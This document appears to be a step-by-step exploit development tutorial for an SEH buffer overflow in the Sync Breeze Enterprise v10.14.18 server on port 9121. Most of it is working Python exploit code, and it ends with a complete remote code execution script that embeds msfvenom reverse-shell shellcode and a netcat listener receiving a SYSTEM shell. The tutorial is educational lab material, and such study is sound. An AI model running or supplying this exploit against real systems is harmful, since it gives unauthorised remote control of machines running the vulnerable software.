![]()
Introduction
The Sync Breeze Enterprise v10.14.18 is an application used for synchronizing files between network shares, devices, and nas storages. The Sync Breeze Enterprise v10.14.18 is also vulnerable for SEH overflow because the server process (syncbrs.exe) running at 9121 port processes more data than the buffer can handle.
In this article, I’ll go through developing an exploit which abuses the SEH overflow to obtain remote code execution on Sync Breeze Enterprise v10.14.18 application.
Preparation
You will need to configure your virtual machine with the following configurations to follow through with the article otherwise you might face issues during exploit development process.
-
Install Sync Breeze Enterprise v10.14.18 on the virtual machine.
-
Disable Microsoft Defender on virtual machine.

-
Disable Windows Firewall on virtual machine.

Once all these configurations are applied to the virtual machine you’re now ready to start developing exploit for the Sync Breeze Enterprise v10.14.18 application.
Application Cashing
The Sync Breeze Enterprise v10.14.18 application will crash multiple of times while developing the exploit therefore I recommend becoming familiar with these two commands.
- Start Sync Breeze Enterprise:
net start "Sync Breeze Enterprise" - Stop Sync Breeze Enterprise:
net stop "Sync Breeze Enterprise"
These commands will allow you to quickly start and stop the service instead of going into services.msc and manually stopping/starting the service.
Controlling EIP
In exploit development creating a reliable fuzzer is extremely important as that will allow us to automatically crash the application instead of sending multiple of request manually. We can use Python3 to build an fuzzer that will fuzz the application for us.
#/bin/python3
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
for i in range(1, 10):
# Buffer
inputBuffer = b"A" * (100 * i)
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()Attach WinDbg to the Sync breeze Enterprise v10.14.18 (syncbrs.exe) application and execute the exploit.py script against the system and the application should crash automatically.

The EAX register value is 0x41414141 which is a strong indication that the fuzzer managed to SEH overflow the application. We can continue running the application using the g command and the EIP register should be overwritten with 0x41414141 which will crash the application.

The SEH Handler is overwritten with the value 0x41414141 and that is why our EIP register is also 0x41414141 as the EIP register executes the SEH Handler address when an exception is triggered. We can now continue with finding the offset that will allow us to control the SEH Handler address by using msf-pattern_create to genrerate long unique string.
kali@kali:~$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2BThe exploit.py script can now be modified to send the long unique string to the target from there we can attach WinDbg against the Sync Breeze Enterprise v10.18.14 (syncbrs.exe) and run the exploit.py script.
#/bin/python3
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Buffer
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()
Copy the EIP register value 0x33653132 and use the command msf-pattern_offset to find the offset that will allow us to control the SEH Handler. It’s important to note that the EIP register in your environment could be different from mine.
kali@kali:~$ msf-pattern_offset -l 1000 -q 33654132
[*] Exact match at offset 128Now as we know the offset to control the SEH Handler address is 128 bytes the exploit.py script can be modified to send 128 bytes of padding data and then the data which will overwrite the SEH Handler. I’ll be sending 128 bytes of \x41 character and then \x42\x42\x42\x42 which will overwrite SEH Handler with 0x42424242. We can now attach WinDbg to syncbrs.exe again and execute the modified exploit.py script.
#/bin/python3
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Others
eip = b"B" * 4
# Buffer
inputBuffer = b"A" * 128
inputBuffer += eip
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()
I successfully managed to overwite the SEH Handler with the address 0x42424242 and that is why the EIP register address is 0x42424242. We can now move onto the next section as we have control over the SEH Handler.
Finding Bad Characters
While developing exploits finding bad characters are extremely important as these can lead to unexpected events such as the application crashing and much more. The bad characters can be found by sending a list of all characters and then viewing the stack to see which characters are filtered by the application.
#/bin/python3
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Bad characters
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
# Others
eip = b"B" * 4
# Buffer
inputBuffer = b"A" * 128
inputBuffer += eip
inputBuffer += badchars
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()
The \x02 is a bad character in since it stopped the other characters from displaying inside of the stack therefore I’ll remove it from badcars variable in exploit.py script. Afer repeating this step multiple of times the following characters came back as bad characters \x00\x02\x0a\x0d.
Finding POP, POP, RET
The SEH Handler will need to be overwritten with an address that has the instructions POP, POP, RET which will allow us to jump into the stack to execute our shellcode. The library that is going to be used for finding the POP, POP, RET instructions must not have security protections such as ASLR, DEP, and etc… With Narly we can view all libraries and security protections.

I’ll be using the libspp library since it ranges from 0x10000000 to 0x10226000 which means it won’t consists bad characters such as 0x00 which will crash syncbrs.exe process. Here is the WinDbg script that will allow us to search for POP, POP, RET instructions.
.block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10000000 10226000 $t0 $t1 c3 } } }
We can select any address that comes on the WinDbg terminal but the only important thing to keep in mind is that these addresses cannot consist of \x00\x02\x0a\x0d as these will be filtered by application. I’ll be using the address 0x1001bb8a which I randomly selected from the WinDbg terminal.
Overwriting SEH & NSEH
The exploit.py can now be modified to overwrite the SEH Handler with the address 0x1001bb8a which will allow us to perform POP, POP, RET to jump into the stack.
#/bin/python
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Others
eip = pack("<L", (0x1001bb8a))
# Buffer
inputBuffer = b"A" * 128
inputBuffer += eip
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()Attach WinDBg to the Sync Breeze Enterprise v10.14.18 (syncbrs.exe) and set a breakpoint at the address 0x1001bb8a which contains the instructions POP, POP, RET and that will allow us to see if we successfully managed to jump into the stack.

Now as we successfully managed to jump into the stack we will need to overwrite the Next SEH with the following instruction \x90\x90\xEB\x04 which will perform JMP SHORT 0x6 to jump over the SEH Handler address inside the stack which is 0x1001bb8a.
#/bin/python
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Others
seh = pack("<L", (0x1001bb8a))
nseh= b"\x90\x90\xEB\x04" # NSEH = JMP SHORT 0x6
# Buffer
inputBuffer = b"A" * 124 # Padding
inputBuffer += nseh # Next SEH
inputBuffer += seh # SEH
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()
The SEH Handler and Next SEH is now successfully modified with the correct instructions which means we can now continue with the next section.
Generating Shellcode
In SEH Overflow, the buffer could be located in multiple of places inside the stack where it shows all our shellcode. This will allow us to jump into the stack and execute our shellcode without being limited to a small buffer. We can search for the larger buffer by adding \x90 and \x44 and search for where else a buffer could be inside the stack.
#/bin/python
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Others
seh = pack("<L", (0x1001bb8a)) # SEH
nseh= b"\x90\x90\xEB\x04" # NSEH = JMP SHORT 0x6
shellcode = b"\x90" * 20 + b"D" * 8
# Buffer
inputBuffer = b"A" * 124
inputBuffer += nseh # NSEH
inputBuffer += seh # SEH
inputBuffer += shellcode # Shellcode
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()Attach WinDbg to Sync Breeze Enterprise v10.14.18 (syncbrs.exe) and search for the strings \x90 and \x44 to find locations where there are potentially other buffers large enough to hold our shellcode.

The 0x188ffa9c address has a larger buffer which shows all our payloads and we can now implement ADD SP, 0xC88 and JMP ESP instructions to jump into that address.
kali@kali:~$ msf-nasm_shell
nasm > add sp, 3216
00000000 6681C4900C add sp,0xc90
nasm > jmp esp
00000000 FFE4 jmp esp#/bin/python
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Others
seh = pack("<L", (0x1001bb8a)) # SEH
nseh= b"\x90\x90\xEB\x04" # NSEH = JMP SHORT 0x6
incStack = b"\x66\x81\xC4\x90\x0C" # AD SP, 3216
jmpStack = b"\xFF\xE4" # JMP ESP
shellcode = b"\x90" * 400 # Shellcode allocation
# Buffer
inputBuffer = b"A" * 124
inputBuffer += nseh # NSEH
inputBuffer += seh # SEH
inputBuffer += incStack # AD SP, 3216
inputBuffer += jmpStack # JMP ESP
inputBuffer += shellcode # Shellcode
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()
The shellcode variable inside exploit.py script can now be replaced with a reverse shell shellcode. The reverse shell shellcode can be generated with msfvenom using the following command.
kali@kali:~$ msfvenom -a x86 -p windows/shell_reverse_tcp lhost=eth0 lport=1337 -f python -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -v shellcode EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xbe\xde\xdc\x51\x10\xdb\xc9\xd9\x74\x24\xf4"
shellcode += b"\x58\x29\xc9\xb1\x52\x31\x70\x12\x03\x70\x12"
shellcode += b"\x83\x1e\xd8\xb3\xe5\x62\x09\xb1\x06\x9a\xca"
shellcode += b"\xd6\x8f\x7f\xfb\xd6\xf4\xf4\xac\xe6\x7f\x58"
shellcode += b"\x41\x8c\xd2\x48\xd2\xe0\xfa\x7f\x53\x4e\xdd"
shellcode += b"\x4e\x64\xe3\x1d\xd1\xe6\xfe\x71\x31\xd6\x30"
shellcode += b"\x84\x30\x1f\x2c\x65\x60\xc8\x3a\xd8\x94\x7d"
shellcode += b"\x76\xe1\x1f\xcd\x96\x61\xfc\x86\x99\x40\x53"
shellcode += b"\x9c\xc3\x42\x52\x71\x78\xcb\x4c\x96\x45\x85"
shellcode += b"\xe7\x6c\x31\x14\x21\xbd\xba\xbb\x0c\x71\x49"
shellcode += b"\xc5\x49\xb6\xb2\xb0\xa3\xc4\x4f\xc3\x70\xb6"
shellcode += b"\x8b\x46\x62\x10\x5f\xf0\x4e\xa0\x8c\x67\x05"
shellcode += b"\xae\x79\xe3\x41\xb3\x7c\x20\xfa\xcf\xf5\xc7"
shellcode += b"\x2c\x46\x4d\xec\xe8\x02\x15\x8d\xa9\xee\xf8"
shellcode += b"\xb2\xa9\x50\xa4\x16\xa2\x7d\xb1\x2a\xe9\xe9"
shellcode += b"\x76\x07\x11\xea\x10\x10\x62\xd8\xbf\x8a\xec"
shellcode += b"\x50\x37\x15\xeb\x97\x62\xe1\x63\x66\x8d\x12"
shellcode += b"\xaa\xad\xd9\x42\xc4\x04\x62\x09\x14\xa8\xb7"
shellcode += b"\x9e\x44\x06\x68\x5f\x34\xe6\xd8\x37\x5e\xe9"
shellcode += b"\x07\x27\x61\x23\x20\xc2\x98\xa4\x8f\xbb\x7f"
shellcode += b"\xb2\x78\xbe\x7f\xbe\x41\x37\x99\xaa\xa1\x11"
shellcode += b"\x32\x43\x5b\x38\xc8\xf2\xa4\x96\xb5\x35\x2e"
shellcode += b"\x15\x4a\xfb\xc7\x50\x58\x6c\x28\x2f\x02\x3b"
shellcode += b"\x37\x85\x2a\xa7\xaa\x42\xaa\xae\xd6\xdc\xfd"
shellcode += b"\xe7\x29\x15\x6b\x1a\x13\x8f\x89\xe7\xc5\xe8"
shellcode += b"\x09\x3c\x36\xf6\x90\xb1\x02\xdc\x82\x0f\x8a"
shellcode += b"\x58\xf6\xdf\xdd\x36\xa0\x99\xb7\xf8\x1a\x70"
shellcode += b"\x6b\x53\xca\x05\x47\x64\x8c\x09\x82\x12\x70"
shellcode += b"\xbb\x7b\x63\x8f\x74\xec\x63\xe8\x68\x8c\x8c"
shellcode += b"\x23\x29\xac\x6e\xe1\x44\x45\x37\x60\xe5\x08"
shellcode += b"\xc8\x5f\x2a\x35\x4b\x55\xd3\xc2\x53\x1c\xd6"
shellcode += b"\x8f\xd3\xcd\xaa\x80\xb1\xf1\x19\xa0\x93"The shellcode variable can now be replaced with the shellcode generated and from there once the exploit.py script is executed a reverse shell will be returned to our Kali Linxu listener.
#/bin/python
import socket
from struct import pack
def main():
# Server information
server = "192.168.221.142"
port = 9121
# Shellcode return a reverse shell
shellcode = b""
shellcode += b"\xbe\xde\xdc\x51\x10\xdb\xc9\xd9\x74\x24\xf4"
shellcode += b"\x58\x29\xc9\xb1\x52\x31\x70\x12\x03\x70\x12"
shellcode += b"\x83\x1e\xd8\xb3\xe5\x62\x09\xb1\x06\x9a\xca"
shellcode += b"\xd6\x8f\x7f\xfb\xd6\xf4\xf4\xac\xe6\x7f\x58"
shellcode += b"\x41\x8c\xd2\x48\xd2\xe0\xfa\x7f\x53\x4e\xdd"
shellcode += b"\x4e\x64\xe3\x1d\xd1\xe6\xfe\x71\x31\xd6\x30"
shellcode += b"\x84\x30\x1f\x2c\x65\x60\xc8\x3a\xd8\x94\x7d"
shellcode += b"\x76\xe1\x1f\xcd\x96\x61\xfc\x86\x99\x40\x53"
shellcode += b"\x9c\xc3\x42\x52\x71\x78\xcb\x4c\x96\x45\x85"
shellcode += b"\xe7\x6c\x31\x14\x21\xbd\xba\xbb\x0c\x71\x49"
shellcode += b"\xc5\x49\xb6\xb2\xb0\xa3\xc4\x4f\xc3\x70\xb6"
shellcode += b"\x8b\x46\x62\x10\x5f\xf0\x4e\xa0\x8c\x67\x05"
shellcode += b"\xae\x79\xe3\x41\xb3\x7c\x20\xfa\xcf\xf5\xc7"
shellcode += b"\x2c\x46\x4d\xec\xe8\x02\x15\x8d\xa9\xee\xf8"
shellcode += b"\xb2\xa9\x50\xa4\x16\xa2\x7d\xb1\x2a\xe9\xe9"
shellcode += b"\x76\x07\x11\xea\x10\x10\x62\xd8\xbf\x8a\xec"
shellcode += b"\x50\x37\x15\xeb\x97\x62\xe1\x63\x66\x8d\x12"
shellcode += b"\xaa\xad\xd9\x42\xc4\x04\x62\x09\x14\xa8\xb7"
shellcode += b"\x9e\x44\x06\x68\x5f\x34\xe6\xd8\x37\x5e\xe9"
shellcode += b"\x07\x27\x61\x23\x20\xc2\x98\xa4\x8f\xbb\x7f"
shellcode += b"\xb2\x78\xbe\x7f\xbe\x41\x37\x99\xaa\xa1\x11"
shellcode += b"\x32\x43\x5b\x38\xc8\xf2\xa4\x96\xb5\x35\x2e"
shellcode += b"\x15\x4a\xfb\xc7\x50\x58\x6c\x28\x2f\x02\x3b"
shellcode += b"\x37\x85\x2a\xa7\xaa\x42\xaa\xae\xd6\xdc\xfd"
shellcode += b"\xe7\x29\x15\x6b\x1a\x13\x8f\x89\xe7\xc5\xe8"
shellcode += b"\x09\x3c\x36\xf6\x90\xb1\x02\xdc\x82\x0f\x8a"
shellcode += b"\x58\xf6\xdf\xdd\x36\xa0\x99\xb7\xf8\x1a\x70"
shellcode += b"\x6b\x53\xca\x05\x47\x64\x8c\x09\x82\x12\x70"
shellcode += b"\xbb\x7b\x63\x8f\x74\xec\x63\xe8\x68\x8c\x8c"
shellcode += b"\x23\x29\xac\x6e\xe1\x44\x45\x37\x60\xe5\x08"
shellcode += b"\xc8\x5f\x2a\x35\x4b\x55\xd3\xc2\x53\x1c\xd6"
shellcode += b"\x8f\xd3\xcd\xaa\x80\xb1\xf1\x19\xa0\x93"
# Others
seh = pack("<L", (0x1001bb8a)) # SEH
nseh= b"\x90\x90\xEB\x04" # NSEH = JMP SHORT 0x6
incStack = b"\x66\x81\xC4\x90\x0C" # AD SP, 3216
jmpStack = b"\xFF\xE4" # JMP ESP
# Buffer
inputBuffer = b"A" * 124
inputBuffer += nseh # NSEH
inputBuffer += seh # SEH
inputBuffer += incStack # AD SP, 3216
inputBuffer += jmpStack # JMP ESP
inputBuffer += b"\x90" * 20 # NOP Sled
inputBuffer += shellcode # Shellcode
inputBuffer += b"C" * (1000 - len(inputBuffer))
# Application header
appHeader = b"\x75\x19\xba\xab"
appHeader += b"\x03\x00\x00\x00"
appHeader += b"\x00\x40\x00\x00"
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", len(inputBuffer))
appHeader += pack("<I", inputBuffer[-1])
# Crafting Payload
payload = appHeader + inputBuffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
if __name__ == "__main__":
main()kali@kali:~$ rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [192.168.221.134] from (UNKNOWN) [192.168.221.142] 59639
Microsoft Windows [Version 10.0.19045.6466]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>hostname
hostname
DESKTOP-EV71GRLA reverse shell returned to us without any issues. If you maanaged to come to the following section I’m pleased to tell you that we successfully managed to exploit the Sync Breeze Enterprise v10.14.18 application and you should now be familiar with SEH overflow.
Conclusion
In SEH Overflow the most important thing is to understand the purpose of SEH Handler and Next SEH. If you are struggling with understanding these concepts I recommend reading through What is SEH Overflow? article but if you’re a hands-on learner this article should help you a-lot hopefully.